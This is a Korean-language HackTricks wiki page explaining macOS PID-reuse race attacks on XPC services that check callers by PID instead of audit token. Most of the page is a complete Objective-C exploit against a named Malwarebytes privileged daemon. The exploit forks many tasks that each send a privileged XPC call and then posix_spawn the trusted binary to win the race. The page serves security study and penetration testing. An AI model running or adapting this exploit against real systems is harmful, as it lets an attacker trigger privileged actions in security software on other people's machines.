macOS PID 재사용
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
PID 재사용
macOS XPC 서비스가 PID를 기반으로 호출된 프로세스를 확인하고 감사 토큰을 사용하지 않을 때, PID 재사용 공격에 취약합니다. 이 공격은 경쟁 조건에 기반하며, 익스플로잇이 XPC 서비스에 메시지를 전송하여 기능을 악용한 후, **posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)
**를 허용된 바이너리로 실행합니다.
이 함수는 허용된 바이너리가 PID를 소유하게 만들지만, 악의적인 XPC 메시지는 그 직전에 전송됩니다. 따라서, XPC 서비스가 PID를 사용하여 발신자를 인증하고 posix_spawn
실행 후에 이를 확인하면, 권한이 있는 프로세스에서 온 것으로 생각할 것입니다.
익스플로잇 예시
shouldAcceptNewConnection
함수나 이를 호출하는 함수가 **processIdentifier
**를 호출하고 **auditToken
**을 호출하지 않는 경우를 찾으면, 이는 프로세스 PID를 확인하고 감사 토큰을 확인하지 않는다는 것을 의미합니다.
예를 들어, 이 이미지에서처럼 (참조에서 가져옴):
익스플로잇의 두 부분을 확인하기 위해 이 예시 익스플로잇을 확인하세요 (다시, 참조에서 가져옴):
- 여러 개의 포크를 생성하는 부분
- 각 포크는 메시지를 전송한 직후 **
posix_spawn
**을 실행하면서 XPC 서비스에 페이로드를 전송합니다.
caution
익스플로잇이 작동하려면 export`` ``
**OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
**를 설정하거나 익스플로잇 내부에 다음을 넣는 것이 중요합니다:
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
첫 번째 옵션은 **NSTasks
**를 사용하고 자식 프로세스를 실행하여 RC를 악용하는 인수입니다.
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>
#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");
extern char **environ;
// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end
void child() {
// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;
[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];
char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
bool create_nstasks() {
NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}
int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};
nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}
return true;
}
int main(int argc, const char * argv[]) {
if(argc > 1) {
// called from the NSTasks
child();
} else {
NSLog(@"Starting the race");
create_nstasks();
}
return 0;
}
다른 예시
참고자료
- https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
- https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.